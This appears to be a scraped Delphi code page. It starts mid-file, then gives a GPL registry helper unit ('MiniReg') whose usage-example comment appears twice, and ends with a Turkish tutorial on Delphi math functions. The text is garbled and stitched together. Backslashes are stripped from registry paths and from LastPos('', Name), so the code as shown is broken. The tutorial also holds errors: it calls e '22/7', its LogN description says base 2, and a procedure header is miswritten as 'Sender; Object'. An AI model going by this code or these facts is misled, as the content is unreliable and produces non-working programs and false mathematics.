    FreeMem(buf);

    RegCloseKey(hTemp);

  end;

end;

 

function RegEnumValues(RootKey: HKEY; Name: String; var ValueList: String): boolean;

begin

  Result := RegEnum(RootKey, Name, ValueList, False);

end;

 

function RegEnumKeys(RootKey: HKEY; Name: String; var KeyList: String): boolean;

begin

  Result := RegEnum(RootKey, Name, KeyList, True);

end;

 

end.

{

  lightweight replacement for TRegistry. Does not use Classes or SysUtils. Intended

  for space-limited applets where only the commonly used functions are necessary.

  Returns True if Successful, else False.

 

  Function Examples:

 

  procedure TForm1.Button1Click(Sender: TObject);

  var

    ba1, ba2: array of byte;

    n: integer;

    s: String;

    d: Cardinal;

  begin

    setlength(ba1, 10);

    for n := 0 to 9 do ba1[n] := byte(n);

 

    RegSetString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestString', 'TestMe');

    RegSetExpandString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestExpandString', '%SystemRoot%Test');

    RegSetMultiString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestMultiString', 'String1'#0'String2'#0'String3');

    RegSetDword(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestDword', 7);

    RegSetBinary(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestBinary', ba1);

 

    To set the default value for a key, end the key name with a '':

    RegSetString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTest', 'Default Value');

    RegGetString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestString', s);

    RegGetMultiString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestMultiString', s);

    RegGetExpandString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestExpandString', s);

    RegGetAnyString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestMultiString', s, StringType);

    RegSetAnyString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestMultiString', s, StringType);

    RegGetDWORD(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestDword', d);

    RegGetBinary(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestBinary', s);

    SetLength(ba2, Length(s));

    for n := 1 to Length(s) do ba2[n-1] := byte(s[n]);

    Button1.Caption := IntToStr(Length(ba2));

 

    if RegKeyExists(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoo') then

      if RegValueExists(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestBinary') then

        MessageBox(GetActiveWindow, 'OK', 'OK', MB_OK);

    RegDelValue(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestString');

    RegDelKey(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobar');

    RegDelKey(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoo');

    RegDelKey(HKEY_CURRENT_USER, 'SoftwareMy CompanyTest');

    RegDelKey(HKEY_CURRENT_USER, 'SoftwareMy Company');

    if RegEnumKeys(HKEY_CURRENT_USER, 'SoftwareMy Company', s) then

      ListBox1.Text := s;

    if RegEnumValues(HKEY_CURRENT_USER, 'SoftwareMy Company', s) then

      ListBox1.Text := s;

    if RegConnect('server1', HKEY_LOCAL_MACHINE, RemoteKey) then

    begin

      RegGetString(RemoteKey, 'SoftwareMy CompanyTestfoobarTestString', s);

      RegDisconnect(RemoteKey);

    end;

  end;

}

 

Delphi - .....................................

 

blood - MINIREG UNIT

{Written by Ben Hochstrasser (bhoc@surfeu.ch).

This code is GPL.}

 

unit MiniReg;

 

interface

 

uses Windows;

 

function RegSetString(RootKey: HKEY; Name: String; Value: String): boolean;

function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): boolean;

function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): boolean;

function RegSetDWORD(RootKey: HKEY; Name: String; Value: Cardinal): boolean;

function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): boolean;

function RegGetString(RootKey: HKEY; Name: String; Var Value: String): boolean;

function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): boolean;

function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): boolean;

function RegGetAnyString(RootKey: HKEY; Name: String; Var Value: String; Var ValueType: Cardinal): boolean;

function RegSetAnyString(RootKey: HKEY; Name: String; Value: String; ValueType: Cardinal): boolean;

function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): boolean;

function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): boolean;

function RegGetValueType(RootKey: HKEY; Name: String; var Value: Cardinal): boolean;

function RegValueExists(RootKey: HKEY; Name: String): boolean;

function RegKeyExists(RootKey: HKEY; Name: String): boolean;

function RegDelValue(RootKey: HKEY; Name: String): boolean;

function RegDelKey(RootKey: HKEY; Name: String): boolean;

function RegDelKeyEx(RootKey: HKEY; Name: String; WithSubKeys: Boolean = True): boolean;

function RegConnect(MachineName: String; RootKey: HKEY; var RemoteKey: HKEY): boolean;

function RegDisconnect(RemoteKey: HKEY): boolean;

function RegEnumKeys(RootKey: HKEY; Name: String; var KeyList: String): boolean;

function RegEnumValues(RootKey: HKEY; Name: String; var ValueList: String): boolean;

 

implementation

 

function LastPos(Needle: Char; Haystack: String): integer;

begin

  for Result := Length(Haystack) downto 1 do

    if Haystack[Result] = Needle then

      Break;

end;

 

function RegConnect(MachineName: String; RootKey: HKEY; var RemoteKey: HKEY): boolean;

begin

  Result := (RegConnectRegistry(PChar(MachineName), RootKey, RemoteKey) = ERROR_SUCCESS);

end;

 

function RegDisconnect(RemoteKey: HKEY): boolean;

begin

  Result := (RegCloseKey(RemoteKey) = ERROR_SUCCESS);

end;

 

function RegSetValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): boolean;

var

  SubKey: String;

  n: integer;

  dispo: DWORD;

  hTemp: HKEY;

begin

  Result := False;

  n := LastPos('', Name);

  if n > 0 then

  begin

    SubKey := Copy(Name, 1, n - 1);

    if RegCreateKeyEx(RootKey, PChar(SubKey), 0, nil, REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, hTemp, @dispo) = ERROR_SUCCESS then

    begin

      SubKey := Copy(Name, n + 1, Length(Name) - n);

      if SubKey = '' then

        Result := (RegSetValueEx(hTemp, nil, 0, ValType, PVal, ValSize) = ERROR_SUCCESS)

      else

        Result := (RegSetValueEx(hTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS);

      RegCloseKey(hTemp);

    end;

  end;

end;

 

function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; var PVal: Pointer; var ValSize: Cardinal): boolean;

var

  SubKey: String;

  n: integer;

  MyValType: DWORD;

  hTemp: HKEY;

  Buf: Pointer;

  BufSize: Cardinal;

  PKey: PChar;

begin

  Result := False;

  n := LastPos('', Name);

  if n > 0 then

  begin

    SubKey := Copy(Name, 1, n - 1);

    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then

    begin

      SubKey := Copy(Name, n + 1, Length(Name) - n);

      if SubKey = '' then

        PKey := nil

      else

        PKey := PChar(SubKey);

      if RegQueryValueEx(hTemp, PKey, nil, @MyValType, nil, @BufSize) = ERROR_SUCCESS then

      begin

        GetMem(Buf, BufSize);

        if RegQueryValueEx(hTemp, PKey, nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS then

        begin

          if ValType = MyValType then

          begin

            PVal := Buf;

            ValSize := BufSize;

            Result := True;

          end else

          begin

            FreeMem(Buf);

          end;

        end else

        begin

          FreeMem(Buf);

        end;

      end;

      RegCloseKey(hTemp);

    end;

  end;

end;

 

function RegSetAnyString(RootKey: HKEY; Name: String; Value: String; ValueType: Cardinal): boolean;

begin

  case ValueType of

    REG_SZ, REG_EXPAND_SZ:

      Result := RegSetValue(RootKey, Name, ValueType, PChar(Value + #0), Length(Value) + 1);

    Reg_MULTI_SZ:

      Result := RegSetValue(RootKey, Name, ValueType, PChar(Value + #0#0), Length(Value) + 2);

  else

    Result := False;

  end;

end;

 

function RegSetString(RootKey: HKEY; Name: String; Value: String): boolean;

begin

  Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1);

end;

 

function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): boolean;

begin

  Result := RegSetValue(RootKey, Name, REG_MULTI_SZ, PChar(Value + #0#0), Length(Value) + 2);

end;

 

function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): boolean;

begin

  Result := RegSetValue(RootKey, Name, REG_EXPAND_SZ, PChar(Value + #0), Length(Value) + 1);

end;

 

function RegSetDword(RootKey: HKEY; Name: String; Value: Cardinal): boolean;

begin

  Result := RegSetValue(RootKey, Name, REG_DWORD, @Value, SizeOf(Cardinal));

end;

 

function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): boolean;

begin

  Result := RegSetValue(RootKey, Name, REG_BINARY, @Value[Low(Value)], length(Value));

end;

 

function RegGetString(RootKey: HKEY; Name: String; Var Value: String): boolean;

var

  Buf: Pointer;

  BufSize: Cardinal;

begin

  Result := False;

  Value := '';

  if RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) then

  begin

    Dec(BufSize);

    SetLength(Value, BufSize);

    if BufSize > 0 then

      Move(Buf^, Value[1], BufSize);

    FreeMem(Buf);

    Result := True;

  end;

end;

 

function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): boolean;

var

  Buf: Pointer;

  BufSize: Cardinal;

begin

  Result := False;

  Value := '';

  if RegGetValue(RootKey, Name, REG_MULTI_SZ, Buf, BufSize) then

  begin

    Dec(BufSize);

    SetLength(Value, BufSize);

    if BufSize > 0 then

      Move(Buf^, Value[1], BufSize);

    FreeMem(Buf);

    Result := True;

  end;

end;

 

function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): boolean;

var

  Buf: Pointer;

  BufSize: Cardinal;

begin

  Result := False;

  Value := '';

  if RegGetValue(RootKey, Name, REG_EXPAND_SZ, Buf, BufSize) then

  begin

    Dec(BufSize);

    SetLength(Value, BufSize);

    if BufSize > 0 then

      Move(Buf^, Value[1], BufSize);

    FreeMem(Buf);

    Result := True;

  end;

end;

 

function RegGetAnyString(RootKey: HKEY; Name: String; Var Value: String; Var ValueType: Cardinal): boolean;

var

  Buf: Pointer;

  BufSize: Cardinal;

  bOK: Boolean;

begin

  Result := False;

  Value := '';

  if RegGetValueType(Rootkey, Name, ValueType) then

  begin

    case ValueType of

      REG_SZ, REG_EXPAND_SZ, REG_MULTI_SZ:

        bOK := RegGetValue(RootKey, Name, ValueType, Buf, BufSize);

    else

      bOK := False;

    end;

    if bOK then

    begin

      Dec(BufSize);

      SetLength(Value, BufSize);

      if BufSize > 0 then

        Move(Buf^, Value[1], BufSize);

      FreeMem(Buf);

      Result := True;

    end;

  end;

end;

 

function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): boolean;

var

  Buf: Pointer;

  BufSize: Cardinal;

begin

  Result := False;

  Value := 0;

  if RegGetValue(RootKey, Name, REG_DWORD, Buf, BufSize) then

  begin

    Value := PDWord(Buf)^;

    FreeMem(Buf);

    Result := True;

  end;

end;

 

function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): boolean;

var

  Buf: Pointer;

  BufSize: Cardinal;

begin

  Result := False;

  Value := '';

  if RegGetValue(RootKey, Name, REG_BINARY, Buf, BufSize) then

  begin

    SetLength(Value, BufSize);

    Move(Buf^, Value[1], BufSize);

    FreeMem(Buf);

    Result := True;

  end;

end;

 

function RegValueExists(RootKey: HKEY; Name: String): boolean;

var

  SubKey: String;

  n: integer;

  hTemp: HKEY;

begin

  Result := False;

  n := LastPos('', Name);

  if n > 0 then

  begin

    SubKey := Copy(Name, 1, n - 1);

    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then

    begin

      SubKey := Copy(Name, n + 1, Length(Name) - n);

      Result := (RegQueryValueEx(hTemp, PChar(SubKey), nil, nil, nil, nil) = ERROR_SUCCESS);

      RegCloseKey(hTemp);

    end;

  end;

end;

 

function RegGetValueType(RootKey: HKEY; Name: String; var Value: Cardinal): boolean;

var

  SubKey: String;

  n: integer;

  hTemp: HKEY;

  ValType: Cardinal;

begin

  Result := False;

  Value := REG_NONE;

  n := LastPos('', Name);

  if n > 0 then

  begin

    SubKey := Copy(Name, 1, n - 1);

    if (RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS) then

    begin

      SubKey := Copy(Name, n + 1, Length(Name) - n);

      if SubKey = '' then

        Result := (RegQueryValueEx(hTemp, nil, nil, @ValType, nil, nil) = ERROR_SUCCESS)

      else

        Result := (RegQueryValueEx(hTemp, PChar(SubKey), nil, @ValType, nil, nil) = ERROR_SUCCESS);

      if Result then

        Value := ValType;

      RegCloseKey(hTemp);

    end;

  end;

end;

 

function RegKeyExists(RootKey: HKEY; Name: String): boolean;

var

  hTemp: HKEY;

begin

  Result := False;

  if RegOpenKeyEx(RootKey, PChar(Name), 0, KEY_READ, hTemp) = ERROR_SUCCESS then

  begin

    Result := True;

    RegCloseKey(hTemp);

  end;

end;

 

function RegDelValue(RootKey: HKEY; Name: String): boolean;

var

  SubKey: String;

  n: integer;

  hTemp: HKEY;

begin

  Result := False;

  n := LastPos('', Name);

  if n > 0 then

  begin

    SubKey := Copy(Name, 1, n - 1);

    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then

    begin

      SubKey := Copy(Name, n + 1, Length(Name) - n);

      Result := (RegDeleteValue(hTemp, PChar(SubKey)) = ERROR_SUCCESS);

      RegCloseKey(hTemp);

    end;

  end;

end;

 

function RegDelKey(RootKey: HKEY; Name: String): boolean;

var

  SubKey: String;

  n: integer;

  hTemp: HKEY;

begin

  Result := False;

  n := LastPos('', Name);

  if n > 0 then

  begin

    SubKey := Copy(Name, 1, n - 1);

    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then

    begin

      SubKey := Copy(Name, n + 1, Length(Name) - n);

      Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS);

      RegCloseKey(hTemp);

    end;

  end;

end;

 

function RegDelKeyEx(RootKey: HKEY; Name: String; WithSubKeys: Boolean = True): boolean;

const

  MaxBufSize: Cardinal = 1024;

var

  iRes: integer;

  hTemp: HKEY;

  Buf: String;

  BufSize: Cardinal;

begin

  Result := False;

  // no root keys...

  if pos('', Name) <> 0 then

  begin

    iRes := RegOpenKeyEx(RootKey, PChar(Name), 0, KEY_ENUMERATE_SUB_KEYS or KEY_WRITE, hTemp);

    if WithSubKeys then

    begin

      while iRes = ERROR_SUCCESS do

      begin

        BufSize := MaxBufSize;

        SetLength(Buf, BufSize);

        iRes := RegEnumKeyEx(hTemp, 0, @Buf[1], BufSize, nil, nil, nil, nil);

        if iRes = ERROR_NO_MORE_ITEMS then

        begin

          RegCloseKey(hTemp);

          Result := (RegDeleteKey(RootKey, PChar(Name)) = ERROR_SUCCESS);

        end else

        begin

          if iRes = ERROR_SUCCESS then

          begin

            SetLength(Buf, BufSize);

            if RegDelKeyEx(RootKey, Concat(Name, '', Buf), WithSubKeys) then

              iRes := ERROR_SUCCESS

            else

              iRES := ERROR_BADKEY;

          end;

        end;

      end;

    end else

    begin

      RegCloseKey(hTemp);

      Result := (RegDeleteKey(RootKey, PChar(Name)) = ERROR_SUCCESS);

    end;

  end;

end;

 

function RegEnum(RootKey: HKEY; Name: String; var ResultList: String; const DoKeys: Boolean): boolean;

var

  i: integer;

  iRes: integer;

  s: String;

  hTemp: HKEY;

  Buf: Pointer;

  BufSize: Cardinal;

begin

  Result := False;

  ResultList := '';

  if RegOpenKeyEx(RootKey, PChar(Name), 0, KEY_READ, hTemp) = ERROR_SUCCESS then

  begin

    Result := True;

    BufSize := 1024;

    GetMem(buf, BufSize);

    i := 0;

    iRes := ERROR_SUCCESS;

    while iRes = ERROR_SUCCESS do

    begin

      BufSize := 1024;

      if DoKeys then

        iRes := RegEnumKeyEx(hTemp, i, buf, BufSize, nil, nil, nil, nil)

      else

        iRes := RegEnumValue(hTemp, i, buf, BufSize, nil, nil, nil, nil);

      if iRes = ERROR_SUCCESS then

      begin

        SetLength(s, BufSize);

        Move(buf^, s[1], BufSize);

        if ResultList = '' then

          ResultList := s

        else

          ResultList := Concat(ResultList, #13#10, s);

        inc(i);

      end;

    end;

    FreeMem(buf);

    RegCloseKey(hTemp);

  end;

end;

 

function RegEnumValues(RootKey: HKEY; Name: String; var ValueList: String): boolean;

begin

  Result := RegEnum(RootKey, Name, ValueList, False);

end;

 

function RegEnumKeys(RootKey: HKEY; Name: String; var KeyList: String): boolean;

begin

  Result := RegEnum(RootKey, Name, KeyList, True);

end;

 

end.

{

  lightweight replacement for TRegistry. Does not use Classes or SysUtils. Intended

  for space-limited applets where only the commonly used functions are necessary.

  Returns True if Successful, else False.

 

  Function Examples:

 

  procedure TForm1.Button1Click(Sender: TObject);

  var

    ba1, ba2: array of byte;

    n: integer;

    s: String;

    d: Cardinal;

  begin

    setlength(ba1, 10);

    for n := 0 to 9 do ba1[n] := byte(n);

 

    RegSetString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestString', 'TestMe');

    RegSetExpandString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestExpandString', '%SystemRoot%Test');

    RegSetMultiString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestMultiString', 'String1'#0'String2'#0'String3');

    RegSetDword(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestDword', 7);

    RegSetBinary(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestBinary', ba1);

 

    To set the default value for a key, end the key name with a '':

    RegSetString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTest', 'Default Value');

    RegGetString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestString', s);

    RegGetMultiString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestMultiString', s);

    RegGetExpandString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestExpandString', s);

    RegGetAnyString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestMultiString', s, StringType);

    RegSetAnyString(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestMultiString', s, StringType);

    RegGetDWORD(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestDword', d);

    RegGetBinary(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestBinary', s);

    SetLength(ba2, Length(s));

    for n := 1 to Length(s) do ba2[n-1] := byte(s[n]);

    Button1.Caption := IntToStr(Length(ba2));

 

    if RegKeyExists(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoo') then

      if RegValueExists(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestBinary') then

        MessageBox(GetActiveWindow, 'OK', 'OK', MB_OK);

    RegDelValue(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobarTestString');

    RegDelKey(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoobar');

    RegDelKey(HKEY_CURRENT_USER, 'SoftwareMy CompanyTestfoo');

    RegDelKey(HKEY_CURRENT_USER, 'SoftwareMy CompanyTest');

    RegDelKey(HKEY_CURRENT_USER, 'SoftwareMy Company');

    if RegEnumKeys(HKEY_CURRENT_USER, 'SoftwareMy Company', s) then

      ListBox1.Text := s;

    if RegEnumValues(HKEY_CURRENT_USER, 'SoftwareMy Company', s) then

      ListBox1.Text := s;

    if RegConnect('server1', HKEY_LOCAL_MACHINE, RemoteKey) then

    begin

      RegGetString(RemoteKey, 'SoftwareMy CompanyTestfoobarTestString', s);

      RegDisconnect(RemoteKey);

    end;

  end;

}

 

Delphi - .....................................

 

Tüm Math Kodları

ALINTIDIR  

                                                                                06.01.2006            

     

Matematik Fonksiyonları

     

 

 

 

Delphi içerisinde, kolay uygulama geliştirme amaçlı kullanabileceğiniz bir çok method ve özellik bulunmaktadır. Bu methodlar sizleri yazmanız gereken bir çok sıkıcı koddan kurtarmaya yönelik olarak eklenmiştir. Şimdi Delphi kütüphanesinde yer olan bu fonksiyonları teker teker incelemeye başlayalım.

 

 

 

Aritmetik işlem yapabilmek için kütüphaneye eklenmiş, fonksiyonlardır. Matematik fonksiyonları kullanırken ondalıklı sayıların, tam sayıları kapsadığı (digit kaybı olmadığı için) unutulmamalıdır. Bu fonksiyonları çalıştırabilmeniz için math kütüphanesini uses satırına eklemeniz gerekmektedir.

 

 

 

Uses

 

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Math;

 

 

 

 

 

Abs(ondalıklı_sayı);

 

 

 

Parametre olarak girilen (parantez içerisindeki değer parametre olarak adlandırılmaktadır) reel sayının pozitif değerini hesaplamak için kullanılır. Parametre pozitif ise sayının değerini değiştirmeyecektir. Eğer negatif ise o zaman pozitif değerini geriye döndürecektir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Real;

 

begin

 

    Sayi  :=StrToFloat(Edit1.Text);

 

    Sonuc :=Abs(sayi);  // Pozitife çevir.

 

    Caption:= FloatToStr(sonuc);

 

end;

 

 

 

Fonksiyona gönderilen parametre tam sayı veya reel sayı tipli olabilir. Aynı mantıkla geriye döndürdüğü sayının tipi de yine tam sayı veya ondalıklı sayı olabilcektir.

 

 

 

 

 

 

 

 

 

Ceil(ondalıklı_sayı);

 

 

 

Parametre olarak girilen bir üst tam sayıya yuvarlatarak geriye döndürür. Dönen sayının tipi tam sayı olduğu için IntToStr tip dönüştürme fonksiyonu sayesinde kolayca yazdırılabilir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Integer;

 

begin

 

    Sayi  :=125.2;

 

    Sonuc :=Ceil(sayi);  // Ondalıklı sayıyı üste yuvarla.

 

    Caption:= IntToStr(sonuc);  // 126 yazar

 

end;

 

 

 

Aşağıda ki şekilde de kullanılabilir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Integer;

 

begin

 

    Sayi  :=StrToFloat(Edit1.Text);

 

    Sonuc :=Ceil(sayi);  // Editteki değeri bir üst tam sayıya yuvarla

 

    Caption:= IntToStr(sonuc);

 

end;

 

 

 

Ceil fonksiyonu, sayıda yer alan ondalıklı kıma bakmadan bir üst tam sayıya yuvarlamak için kullanılır.

 

 

 

 

 

 

 

Floor(ondalıklı_sayı);

 

 

 

Bu fonksiyon  ceil fonksiyonunun yaptığı işlevin tam tersini yapar. Yani parametre olarak girilen ondalıklı sayıyı, virgülden sonraki kısmın büyüklüğüne bakmadan bir alt tam sayıya yuvarlayacaktır. Sayının negatif veya pozitif olması önem arz etmez. Her zaman bir alt tam sayıya yuvarlama yapacaktır. ( -2.8' i -3 olarak döndürecektir )

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Integer;

 

begin

 

    Sayi  :=125.9;

 

    Sonuc :=Floor(sayi);  // Bir alt ta sayıya indir.

 

    Caption:= IntToStr(sonuc);  // 125 yazar

 

end;

 

 

 

Negatif tam sayılara örnek yapacak olursak :

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Integer;

 

begin

 

    Sayi  :=-125.1;

 

    Sonuc :=Floor(sayi);

 

    Caption:= IntToStr(sonuc);  // -126 yazar

 

end;

 

 

 

Floor fonksiyonu, sayıda yer alan ondalıklı kısma bakmadan bir alt tam sayıya yuvarlamak için kullanılır.

 

 

 

 

 

 

 

Trunc(ondalıklı_sayı);

 

 

 

Parametre olarak girilen ondalıklı sayının tam kısmını döndüren matematiksel bir fonksiyondur.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Integer;

 

begin

 

    Sayi  :=125.9;

 

    Sonuc :=Trunc(sayi);  // Sadece tam kısmını göster

 

    Caption:= IntToStr(sonuc);   // 125 yazar

 

end;

 

 

 

Trunc fonksiyonunda herhangi bir yuvarlatma söz konusu değildir. Negatif sayılar içinde kolaylıkla kullanılabilir. (-125.9' u -125 olarak hesaplar) Geriye dönen değerin tipinin tam sayı olduğunu fonksiyon tanımlamasından kolayca çıkarabilirsiniz.

 

 

 

 

 

 

 

Frac(ondalıklı_sayı);

 

 

 

Parametre olarak girilen değerin ondalıklı kısmını hesaplayan bir fonksiyondur. Tanımlamaya dikkat edecek olursanız. Geriye dönen değerin tipinin ondalıklı bir sayı (extended) olduğunu görürsünüz.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Extended;

 

begin

 

    Sayi  :=125.756;  // İsterseniz bir kontrolden değer aktarabilirsiniz

 

    Sonuc :=Frac(sayi);  // Ondalıklı kısmı al

 

    Caption:= FloatToStr(sonuc);   // 0.756 yazar

 

end;

 

 

 

Fonksiyondan geriye dönen değer ondalıklı bir sayı tipi olduğu için FloatToStr fonksiyonu ile kolayca değerini yazdırabilirsiniz.

 

 

 

 

 

 

 

Exp(ondalıklı_sayı);

 

 

 

Parametre olarak girilen sayıyı "e" ( 22/7 ) nin üssü olarak kabul eder ve kuvvetini alır. (Şayet 2 girilirse e sayısının karesi alınır)

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Integer;

 

    Sonuc : Extended;

 

begin

 

    Sayi  :=2;

 

    Sonuc :=Exp(sayi);  // e nin karesini bul

 

    Caption:= FloatToStr(sonuc);   // 7.389 yazar

 

end;

 

 

 

 

 

 

 

Int(ondalıklı_sayı);

 

 

 

Parametre olarak girilen değerin tam kısmını reel sayı olarak döndüren bir fonksiyondur. Sonucu herhangi bir kontrolde yazdırmak için FloatToStr tip dönüştürme fonksiyonunu kullanmalısınız. IntToStr tip dönüştürme fonksiyonu hata verecektir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Real;

 

begin

 

    Sayi  :=-120.85;  // Değeri kontrolden de aldırabilirsiniz.

 

    Sonuc :=Int(sayi);  // Tam kısmını al

 

    Caption:= FloatToStr(sonuc);   // -120 yazar

 

end;

 

 

 

Tekrar hatırlatmakta yarar görüyorum, bu fonksiyondan geriye dönen sayının tipi ondalıklı sayı tipidir. Bu yüzden yazdırmak için FloatToStr fonksiyonundan faydalanmalısınız.

 

 

 

 

 

 

 

IntPower(ondalıklı_sayı , tam_sayı);

 

 

 

Birinci parametre olarak girilen ondalıklı sayının, ikinci parametre ile girilen kuvvetini hesaplatmak için kullanılır. İkinci parametre olarak sadece tam sayı değeri girebilirsiniz.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Extended;

 

begin

 

    Sayi  :=5.2;

 

    Sonuc :=IntPower(sayi , 2);  // e nin karesini bul

 

    Caption:= FloatToStr(sonuc);   // 27.04 yazar

 

end;

 

 

 

IntPower fonksiyonundan geriye dönen sayının tipi ondalıklı olmaktadır. Bu yüzden kontrol üzerinde yazdırabilmek için FloatToStr fonksiyonundan faydalanmalısınız.

 

 

 

 

 

 

 

Ln(ondalıklı_sayı);

 

 

 

Parametre olarak girilen ondalıklı (ondalıklı sayılar tam sayıları kapsarlar, unutmayın) sayının e tabanında logaritmasını almak için kullanılır. Fonksiyondan geriye yine bir ondalıklı sayı döner.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Real;

 

begin

 

    Sayi  :=10;

 

    Sonuc :=Ln(sayi);  // Logesayi demektir.

 

    Caption:= FloatToStr(sonuc);   // 2.302 yazar

 

end;

 

 

 

Fonksiyondan geriye dönen değer ondalıklı sayı tipli olduğu için FloatToStr fonksiyonu kullanılarak yazdırılabilir.

 

 

 

 

 

 

 

Log10(ondalıklı_sayı);

 

 

 

Parametre olarak girilen değişkenin 10 tabanına göre logaritmasını almak için kullanılır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Real;

 

begin

 

    Sayi  :=100;

 

    Sonuc :=Log10(sayi);

 

    Caption:= FloatToStr(sonuc);   // 2 yazar

 

end;

 

 

 

Fonksiyondan geriye dönen değer ondalıklı sayı tipli olduğu için FloatToStr fonksiyonu kullanılarak yazdırılabilir.

 

 

 

 

 

 

 

Log2(ondalıklı_sayı);

 

 

 

Parametre olarak girilen değişkenin 2 tabanında logaritmasını hesaplayan bir fonksiyondur.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Real;

 

begin

 

    Sayi  :=8;

 

    Sonuc :=Log2(sayi);   //Log28

 

    Caption:= FloatToStr(sonuc);   // 3 yazar

 

end;

 

 

 

Fonksiyondan geriye dönen değer ondalıklı sayı tipli olduğu için FloatToStr fonksiyonu kullanılarak yazdırılabilir.

 

 

 

 

 

 

 

LogN(ondalıklı_sayı , ondalıklı_sayı2);

 

 

 

Parametre olarak girilen değişkenin 2 tabanında logaritmasını hesaplayan bir fonksiyondur.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Real;

 

begin

 

    Sayi  :=9;

 

    Sonuc :=LogN(3,sayi);   //Log39

 

    Caption:= FloatToStr(sonuc);   // 2 yazar

 

end;

 

 

 

